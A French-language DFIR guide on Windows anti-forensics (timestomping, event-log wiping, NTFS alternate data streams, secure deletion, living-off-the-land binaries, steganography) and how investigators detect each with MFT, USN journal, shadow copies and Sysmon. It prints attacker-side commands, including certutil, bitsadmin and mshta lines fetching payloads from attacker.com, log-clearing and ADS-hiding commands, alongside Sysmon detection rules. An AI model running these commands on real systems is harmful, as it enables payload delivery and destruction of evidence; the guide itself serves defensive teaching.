Anti-Forensics : Methodologie et Recommandations de Sécurité

L'anti-forensics méthodologie recommandations détection constitue l'un des sujets les plus critiques de la forensique numérique moderne. Quand je travaille sur un incident de sécurité, les premières minutes d'investigation révèlent souvent une vérité inconfortable : l'attaquant est déjà passé par là et a pris soin de couvrir ses traces. Les techniques anti-forensiques modernes combinent effacement de traces, manipulation temporelle et utilisation d'outils légitimes pour contourner les investigations numériques de façon systématique et de plus en plus automatisée. Comprendre ces techniques n'est pas optionnel : c'est une condition sine qua non pour tout analyste DFIR souhaitant détecter les acteurs avancés qui cherchent à effacer leurs traces post-compromission. Dans les incidents que je mène depuis plusieurs années, environ 60% des cas avancés — APT, ransomware ciblé, espionnage industriel — présentent au moins une technique anti-forensics délibérée. Les groupes comme APT41, Lazarus Group ou FIN7 ont élevé l'anti-forensics au rang de compétence fondamentale, au même titre que l'exploitation initiale. Ce guide vous donne les clés pour détecter ce que ces attaquants cherchent à vous cacher, avec les outils concrets et les artefacts forensiques à exploiter en conditions réelles d'investigation.

Qu'est-ce que l'anti-forensics et pourquoi les attaquants l'utilisent-ils ?

L'anti-forensics désigne l'ensemble des techniques, méthodes et outils employés par les attaquants pour contrecarrer, ralentir ou rendre impossible l'investigation numérique d'un incident de sécurité. L'objectif n'est pas uniquement d'échapper à la détection en temps réel — les EDR modernes gèrent de mieux en mieux cet aspect — mais surtout d'empêcher la reconstruction post-mortem de l'attaque.

Les motivations sont multiples. Premièrement, effacer la présence : un attaquant qui nettoie ses traces après exfiltration peut rester non détecté pendant des mois. Deuxièmement, retarder l'attribution : sans preuves solides, il est impossible d'imputer formellement une attaque à un groupe ou un état, ce qui complique les réponses diplomatiques ou judiciaires. Troisièmement, contester les preuves en justice : dans les affaires pénales impliquant de la cybercriminalité, des preuves numériques altérées peuvent invalider une procédure entière.

Les groupes APT les plus sophistiqués ont codifié ces pratiques. APT41 (Chine) est réputé pour son utilisation systématique du timestomping et du log wiping avant d'exfiltrer des données de propriété intellectuelle. Lazarus Group (Corée du Nord) utilise intensivement les techniques living-off-the-land pour minimiser les artefacts sur disque. FIN7 combine des outils de suppression sécurisée avec du chiffrement des données volées avant exfiltration. Ces groupes ne sont pas des exceptions : ils définissent le standard contre lequel vos défenses doivent être calibrées.

• Destruction des preuves : suppression de fichiers, formatage de partitions, chiffrement de données
• Dissimulation : ADS NTFS, stéganographie, rootkits noyau
• Déception : faux indicateurs, timestamps manipulés, logs corrompus
• Contournement : outils natifs Windows, signatures légitimes, injection de processus

Timestomping — manipulation des timestamps MACE

Le timestomping est l'une des techniques anti-forensics les plus répandues et les plus faciles à mettre en œuvre. Elle consiste à modifier les quatre attributs temporels d'un fichier NTFS : Modified, Accessed, Created et Entry Modified (MACE). L'objectif est de faire paraître un fichier malveillant comme un élément légitime du système, daté avant la compromission pour éviter qu'il ne ressorte dans une timeline forensique.

La détection du timestomping repose sur une particularité du système de fichiers NTFS : chaque fichier dispose de deux ensembles de timestamps. L'attribut $STANDARD_INFORMATION est celui visible par l'OS et modifiable via les APIs Windows. L'attribut $FILE_NAME, lui, est mis à jour uniquement par le kernel lors de la création ou du renommage du fichier — et n'est pas accessible directement depuis l'espace utilisateur. Quand un attaquant modifie les timestamps via Meterpreter ou SetFileTime(), il ne touche que $STANDARD_INFORMATION. La discordance entre les deux ensembles est un signal fort de timestomping.

# Technique : modifier les timestamps avec Meterpreter (côté attaquant)
# Cible : effacer le contexte temporel du fichier malveillant
meterpreter> timestomp C:\malware.exe -m "01/01/2020 12:00:00"
meterpreter> timestomp C:\malware.exe -a "01/01/2020 12:00:00"
meterpreter> timestomp C:\malware.exe -c "01/01/2020 12:00:00"
meterpreter> timestomp C:\malware.exe -e "01/01/2020 12:00:00"

# Détection investigateur : analyser le $MFT avec MFTECmd (Eric Zimmerman)
# Le $MFT préserve les deux jeux de timestamps - $STANDARD_INFORMATION vs $FILE_NAME
MFTECmd.exe -f C:\$MFT --csv output\ --csvf mft_analysis.csv

# Chercher les fichiers où $STANDARD_INFORMATION est antérieur à $FILE_NAME
# Cette incohérence est physiquement impossible sans manipulation - signe de timestomping

Dans Timeline Explorer (également d'Eric Zimmerman), charger le CSV produit par MFTECmd et filtrer sur les entrées où Created0x10 est antérieur à Created0x30. Chaque anomalie mérite une investigation. Typiquement, on trouve les malwares datés au 1er janvier 2000 ou à la date d'installation du système d'exploitation — erreur de débutant qui signale immédiatement la manipulation. Les attaquants plus avancés copient les timestamps d'un fichier légitime du même répertoire, mais la discordance $STANDARD_INFORMATION/$FILE_NAME reste visible dans le $MFT.

Log Wiping — effacement des journaux Windows

L'effacement des journaux d'événements Windows est une étape quasi-systématique dans les intrusions avancées. La commande est simple, rapide et efficace en apparence. Mais les traces résiduelles sont plus nombreuses qu'on ne le croit, à condition de savoir où chercher.

REM Technique attaquant : effacer tous les Event Logs
REM Nécessite des privilèges Administrator ou SYSTEM
wevtutil cl Application
wevtutil cl System
wevtutil cl Security
wevtutil cl "Microsoft-Windows-PowerShell/Operational"

REM Alternative via PowerShell (même résultat, syntaxe différente)
Get-EventLog -List | ForEach-Object { Clear-EventLog $_.Log }

REM Suppression plus radicale : effacer les fichiers .evtx directement
REM (nécessite d'arrêter le service Windows Event Log au préalable)

La contre-mesure principale est le Windows Event Forwarding (WEF) : les événements sont transmis en quasi-temps réel vers un collecteur centralisé (ou un SIEM). Même si l'attaquant efface les logs locaux, les événements déjà transmis sont préservés. Mais au-delà du forwarding, plusieurs artefacts forensiques survivent à l'effacement des Event Logs :

• Event ID 1102 (canal Security) : journalisé quand le journal Security est effacé
• Event ID 104 (canal System) : équivalent pour le journal System
• Journal USN $UsnJrnl : enregistre toutes les opérations sur les fichiers NTFS, y compris la modification des fichiers .evtx
• Shadow Volume Copies (VSS) : les backups automatiques préservent les logs antérieurs à l'effacement
• Prefetch : si wevtutil.exe a été exécuté, le fichier prefetch en conserve la trace

# Investigateur : vérifier les Shadow Copies disponibles
vssadmin list shadows

# Monter une shadow copy pour accéder aux anciens logs
mklink /d C:\VSS \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# Comparer les logs depuis la shadow copy avec l'état actuel
# Les logs présents en VSS mais absents du système révèlent la fenêtre d'effacement

Alternate Data Streams NTFS (ADS) — le cache dans le cache

Les Alternate Data Streams (ADS) sont une fonctionnalité du système de fichiers NTFS permettant d'associer plusieurs flux de données à un seul fichier. La plupart des utilisateurs ne voient que le flux de données principal (unnamed stream), mais NTFS permet de créer des flux nommés supplémentaires — complètement invisibles dans l'Explorateur Windows et avec une taille apparente de zéro dans les listings standards.

Les attaquants utilisent les ADS pour dissimuler des payloads malveillants dans des fichiers légitimes. Un fichier readme.txt peut contenir un exécutable complet dans un ADS, avec une taille affichée de 0 octet et une apparence totalement anodine à l'oeil nu.

REM Créer un ADS (côté attaquant)
REM Cacher un payload dans un fichier légitime - invisible dans l'Explorer
type malware.exe > innocent_doc.docx:hidden_data

REM Exécuter depuis un ADS via wmic
wmic process call create "C:\temp\innocent_doc.docx:hidden_data"

REM === DÉTECTION (investigateur) ===

REM Méthode 1 : dir /r révèle les ADS dans le répertoire
dir /r C:\temp\

REM Méthode 2 : Sysinternals Streams.exe (plus complet, récursif)
streams.exe -s C:\temp\

REM Méthode 3 : PowerShell - lister tous les streams d'un fichier
Get-Item C:\temp\legitimate.txt -Stream *

REM Méthode 4 : extraire le contenu pour analyse forensique
Get-Content C:\temp\legitimate.txt -Stream hidden_data | Out-File extracted_payload.bin

Un point important : les navigateurs modernes utilisent eux-mêmes les ADS pour marquer les fichiers téléchargés depuis Internet (Zone.Identifier). Ce stream légitime permet de détecter si un fichier a été téléchargé depuis le web — et son absence sur un fichier supposément téléchargé est également suspecte. Sur un système compromis, l'analyse systématique des ADS sur les répertoires temporaires et les dossiers utilisateurs est une étape obligatoire.

Secure Delete et destruction définitive de preuves

La suppression standard d'un fichier sous Windows ne fait que marquer l'espace comme réutilisable — le contenu reste récupérable jusqu'à écrasement. Les attaquants utilisent des outils de suppression sécurisée pour rendre la récupération forensique impossible, ou du moins très difficile.

SDelete (Sysinternals/Microsoft) est l'outil le plus utilisé : il écrase les données avec plusieurs passes (DOD 5220.22-M ou Gutmann) avant de supprimer le fichier. Son exécution laisse néanmoins des traces dans le prefetch, les Event Logs d'application et le journal USN. Les outils comme Eraser (interface graphique) offrent les mêmes fonctionnalités avec plus de confort pour les attaquants moins techniques.

# SDelete - suppression sécurisée avec 3 passes (norme DOD 5220.22-M)
# Le fichier est écrasé 3 fois avant suppression définitive
sdelete -p 3 C:\malware.exe

# SDelete - nettoyer l'espace libre du disque (données récupérables)
sdelete -p 1 -z C:

# Chiffrement avant suppression : même si des fragments restent, ils sont illisibles
# L'attaquant chiffre les données volées avec AES-256 avant exfiltration
# Puis supprime la clé et les données originales

Une nuance importante concernant les SSD : le wear leveling redistribue les écritures sur l'ensemble des cellules pour prolonger la durée de vie du disque. Cette technologie signifie que les passes d'écrasement n'atteignent pas forcément les cellules physiques contenant les données originales. Des fragments peuvent survivre dans les zones de wear leveling, récupérables uniquement avec des équipements forensiques spécialisés capables de lire directement la mémoire NAND. Sur disque dur classique (HDD), les outils de suppression sécurisée sont bien plus efficaces.

Living-off-the-Land (LotL) — utiliser Windows contre lui-même

Le Living-off-the-Land (LotL) est probablement la technique anti-forensics la plus difficile à contrer. L'idée est simple et redoutable : utiliser exclusivement des outils légitimes et signés Microsoft présents sur le système pour mener l'attaque. Aucun malware déposé sur le disque = aucune signature à détecter par les antivirus = réduction drastique des artefacts forensiques.

Les outils les plus couramment détournés correspondent à la technique MITRE ATT&CK T1218 — Signed Binary Proxy Execution :

• certutil.exe : outil de gestion des certificats, utilisé pour télécharger des payloads depuis Internet et décoder du base64
• bitsadmin.exe : gestionnaire de transferts BITS, utilisé pour le téléchargement furtif en arrière-plan
• mshta.exe : exécuteur de fichiers HTA, utilisé pour exécuter du JavaScript/VBScript malveillant
• wmic.exe : WMI Command Line, utilisé pour le mouvement latéral et l'exécution à distance
• regsvr32.exe : enregistrement de DLL, utilisé pour exécuter des DLL malveillantes via Squiblydoo
• rundll32.exe : exécution de fonctions DLL, très utilisé pour charger des payloads malveillants

REM Exemples de techniques LotL documentées à des fins défensives

REM certutil : téléchargement de payload (T1105)
certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\p.exe

REM certutil : décodage base64 (souvent utilisé pour scripts obfusqués)
certutil.exe -decode encoded_payload.b64 decoded_payload.exe

REM bitsadmin : téléchargement en arrière-plan, difficile à détecter en temps réel
bitsadmin /transfer job /download /priority normal http://attacker.com/p.exe C:\Temp\p.exe

REM mshta : exécution de JScript depuis une URL distante
mshta.exe http://attacker.com/payload.hta

REM wmic : exécution de commande à distance via WMI (mouvement latéral)
wmic /node:TARGET process call create "cmd.exe /c whoami > C:\Temp\out.txt"

La défense contre le LotL repose sur trois piliers : le logging PowerShell avancé (Script Block Logging, Module Logging, Transcription), Sysmon pour capturer les créations de processus avec leurs lignes de commande complètes, et les règles de détection SIEM ciblant spécifiquement ces binaires signés utilisés de façon anormale. Sans ces trois éléments en place, le LotL est quasi-indétectable a posteriori.

Stéganographie — dissimulation dans les médias numériques

La stéganographie consiste à cacher des données dans des fichiers d'apparence anodine — images, fichiers audio, vidéos — de façon imperceptible à l'oeil ou à l'oreille. Contrairement à la cryptographie qui rend les données illisibles, la stéganographie dissimule leur existence même. Dans un contexte d'exfiltration, un attaquant peut encoder des données sensibles dans des images PNG qu'il uploade ensuite sur un service légitime comme Twitter ou Imgur, contournant ainsi les DLP qui analysent le contenu des transferts réseau.

• steghide : embarque des données dans des images JPEG ou BMP, protégé par mot de passe
• OpenStego : interface graphique, supporte les images PNG/BMP, avec filigranage numérique
• DeepSound : dissimulation dans des fichiers audio WAV/FLAC
• Invoke-PSImage : PowerShell encodé dans les pixels d'une image PNG

La détection repose sur l'analyse statistique des LSB (Least Significant Bits). Une image naturelle présente une distribution statistique spécifique de ses bits de poids faible. Un payload caché dans ces bits perturbe cette distribution de façon mesurable. L'outil StegExpose applique plusieurs algorithmes d'analyse statistique (Chi-square, RS analysis, Sample Pairs) pour détecter la présence probable de stéganographie dans un fichier image.

Comment détecter le timestomping avec les outils forensics ?

La détection du timestomping nécessite de comparer les deux ensembles de timestamps NTFS. MFTECmd d'Eric Zimmerman (disponible sur ericzimmermantools.com) est l'outil de référence pour cette analyse. Il parse le $MFT directement et exporte les deux ensembles de timestamps dans un CSV analysable avec Timeline Explorer.

La règle de détection principale : un fichier dont le timestamp $STANDARD_INFORMATION Created est antérieur au timestamp $FILE_NAME Created a forcément subi un timestomping. Physiquement, un fichier ne peut pas avoir été créé avant d'exister dans la table de fichiers du MFT — c'est une impossibilité logique. Tout écart significatif (plus de quelques secondes, dû à des latences normales) est suspect.

# Analyse complète du $MFT avec MFTECmd
MFTECmd.exe -f C:\$MFT --csv C:\output\ --csvf mft_results.csv

# Charger dans Timeline Explorer pour visualisation chronologique
# Filtrer : Created0x10 < Created0x30 (STANDARD_INFORMATION < FILE_NAME)
# Ces entrées sont vos candidats prioritaires pour timestomping

# Script Python d'analyse automatisée de la discordance temporelle
python3 -c "
import csv
# Charger le CSV MFTECmd et détecter les anomalies temporelles
with open('mft_results.csv', 'r', encoding='utf-8-sig') as f:
    reader = csv.DictReader(f)
    for row in reader:
        si_created = row.get('Created0x10', '')
        fn_created = row.get('Created0x30', '')
        if si_created and fn_created and si_created < fn_created:
            print(f'[TIMESTOMP SUSPECT] {row["FileName"]}: SI={si_created} vs FN={fn_created}')
"

Comment détecter un log wipe via le journal USN ?

Le journal USN (Update Sequence Number Journal, aussi appelé $UsnJrnl) est une fonctionnalité NTFS qui enregistre en permanence toutes les modifications apportées aux fichiers et répertoires du volume. Contrairement aux Event Logs qui peuvent être effacés via des APIs Windows standard, le journal USN est une structure bas niveau du système de fichiers, moins accessible à un attaquant sans privilèges SYSTEM et connaissance technique avancée.

Quand un attaquant exécute wevtutil cl Security, cette opération génère une entrée dans le $UsnJrnl pour le fichier Security.evtx — modification détectable après coup. L'outil MFTECmd peut également parser le $UsnJrnl et exporter l'historique complet des opérations fichier avec horodatage précis.

# Extraire le journal USN avec MFTECmd
MFTECmd.exe -f C:\$Extend\$UsnJrnl:$J --csv C:\output\ --csvf usn_results.csv

# Chercher les opérations sur les fichiers .evtx (preuves de log wiping)
# Une modification/suppression de Security.evtx révèle le log wipe

# Analyser le résultat avec PowerShell
Get-Content C:\output\usn_results.csv | Select-String "Security.evtx"
# Toute entrée FileDelete ou DataOverwrite sur un .evtx est suspecte

# Alternativement avec fsutil natif Windows
fsutil usn readjournal C: csv > usnjrnl_export.csv

Les Shadow Volume Copies sont l'autre arme forensique majeure contre le log wiping. Si les VSS étaient actifs avant l'intrusion, les logs d'événements antérieurs à l'effacement y sont préservés intégralement. Certains ransomwares modernes (LockBit, BlackCat/ALPHV) détruisent les VSS en priorité précisément pour cette raison — leur destruction est elle-même tracée dans le journal USN et constitue un indicateur d'intrusion fort. Toujours vérifier si les VSS ont été supprimés en début d'investigation.

Arsenal défensif : Sysmon, SIEM et logging immuable

La défense contre l'anti-forensics repose sur trois piliers complémentaires. Le premier est Sysmon (System Monitor de Sysinternals) : installé en tant que driver kernel, il capture des événements que les Event Logs standards ne voient pas — créations de processus avec hash et ligne de commande complète, connexions réseau avec PID, chargements de drivers, accès aux fichiers critiques. Sa configuration via un fichier XML permet de cibler précisément les comportements suspects.

<!-- Configuration Sysmon : détecter les techniques LotL et anti-forensics courantes -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <!-- Détecter certutil utilisé pour du téléchargement (T1105) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains all">certutil;urlcache</CommandLine>
      <CommandLine condition="contains all">certutil;-f;http</CommandLine>
    </ProcessCreate>

    <!-- Détecter bitsadmin utilisé pour du téléchargement (T1197) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">bitsadmin</CommandLine>
    </ProcessCreate>

    <!-- Détecter mshta exécutant des URLs (T1218.005) -->
    <ProcessCreate onmatch="include">
      <Image condition="end with">mshta.exe</Image>
      <CommandLine condition="contains">http</CommandLine>
    </ProcessCreate>

    <!-- Détecter la suppression des Event Logs (T1070.001) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains all">wevtutil;cl</CommandLine>
    </ProcessCreate>

    <!-- Détecter la suppression des Shadow Copies (T1490) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains all">vssadmin;delete</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Le deuxième pilier est le SIEM avec stockage immuable. Les logs Sysmon et Windows Event Logs doivent être transmis en temps réel vers un collecteur centralisé hors du contrôle de l'attaquant. Azure Monitor avec le mode Immutable Storage, ou un SIEM sur infrastructure dédiée avec stockage WORM (Write Once Read Many), garantit que même si l'attaquant compromet l'ensemble du parc Windows, les logs déjà transmis sont inaltérables. Le troisième pilier est la politique de Shadow Copies : activer VSS avec rétention quotidienne sur 30 jours minimum, et surveiller toute tentative de suppression des clichés via le SIEM.

Pour les investigations mémoire RAM où les attaquants fileless ne laissent aucune trace sur disque, le guide Volatility 3 pour la forensique mémoire couvre l'analyse des dumps RAM en conditions réelles. La référence ANSSI pour la réponse à incident (guide ANSSI CORIIN) détaille les artefacts forensiques à préserver. La classification complète des techniques d'anti-forensics est documentée dans MITRE ATT&CK T1070 — Indicator Removal on Host. Enfin, pour les outils forensiques open source, volatilityfoundation.org maintient le référentiel de la communauté.

Tableau récapitulatif des techniques anti-forensics

Intégration dans une stratégie DFIR complète

Maîtriser la détection des techniques anti-forensics n'a de sens que dans le cadre d'une stratégie DFIR cohérente. Les artefacts forensiques que vous collectez lors d'un incident doivent être documentés avec leur chaîne de custody, hashés (MD5 + SHA-256), et préservés dans un état immuable dès leur collecte. Un artefact non hashé est contestable en justice ; un artefact collecté sans procédure documentée peut être irrecevable.

Pour les investigations disque systématiques, le guide Windows Forensics complet couvre l'ensemble des artefacts Windows à analyser dans l'ordre prioritaire. L'analyse des artefacts NTFS spécifiques comme l'AmCache et le ShimCache, documentée dans notre guide AmCache/ShimCache, complète utilement la détection du timestomping. Pour la détection en mémoire, l'article sur Memory Forensics, détection et remédiation couvre les techniques complémentaires côté RAM.

La vérité terrain : l'anti-forensics évolue plus vite que la plupart des équipes défensives ne peuvent s'adapter. Les attaquants qui ont le temps de préparer leur sortie — ce qui est le cas dans les intrusions longue durée — peuvent effacer des pans entiers de preuves. La seule réponse réaliste est la collecte proactive continue : SIEM qui ingère tout, Sysmon sur tous les endpoints, VSS en rétention longue. Attendre un incident pour mettre en place ces collectes, c'est laisser gagner l'attaquant à l'avance.

FAQ Anti-Forensics

Peut-on vraiment effacer toutes les traces d'une intrusion sur Windows ?

Non, pas de façon absolue. Même avec les meilleures techniques anti-forensics combinées, des artefacts résiduels persistent généralement. Le journal USN ne peut pas être effacé sans corrompre le système de fichiers. Le prefetch conserve les traces d'exécution. Les logs SIEM déjà transmis sont hors portée. Et surtout, des IOC réseau (connexions DNS, flux NetFlow) existent en dehors du système compromis. Un attaquant peut réduire drastiquement les preuves disponibles, mais les éliminer toutes est pratiquement impossible contre un analyste DFIR compétent avec accès à toutes les sources de logs.

Comment le journal USN révèle-t-il les tentatives d'anti-forensics ?

Le journal USN enregistre chaque opération de fichier avec horodatage, type d'opération et le nom de fichier. Une suppression de Security.evtx apparaît dans le USN même si les Event Logs ont été effacés. Une exécution de sdelete.exe sur des fichiers laisse une série d'opérations d'écrasement ($DATA_OVERWRITE) avant la suppression. Des modifications en rafale sur de nombreux fichiers .evtx dans une fenêtre de temps très courte sont un signal d'alarme fort que le SIEM peut détecter en temps réel.

Quels outils utilisent les attaquants APT pour l'anti-forensics ?

Les groupes APT sophistiqués disposent souvent de leurs propres outils développés sur mesure. Timestomp (inclus dans Metasploit) pour le timestomping. SDelete (Sysinternals) pour la suppression sécurisée. Les built-ins Windows (wevtutil, vssadmin delete) pour l'effacement des logs et des shadow copies. Les frameworks comme Cobalt Strike et Brute Ratel C4 incluent des modules anti-forensics intégrés dans leurs implants, ce qui en fait des outils complets d'attaque et d'effacement en un seul package.

Comment Sysmon aide-t-il à contrer les techniques LotL ?

Sysmon capture les créations de processus avec la ligne de commande complète et le hash du binaire exécuté — y compris pour les binaires Windows légitimes. Une règle Sysmon bien configurée alerte dès que certutil.exe exécute un téléchargement HTTP, que mshta.exe charge une URL externe, ou que wmic.exe établit une connexion réseau sortante. Contrairement aux antivirus qui cherchent des signatures de fichiers malveillants, Sysmon surveille les comportements — et un comportement anormal d'un outil légitime est tout aussi détectable qu'un malware classique.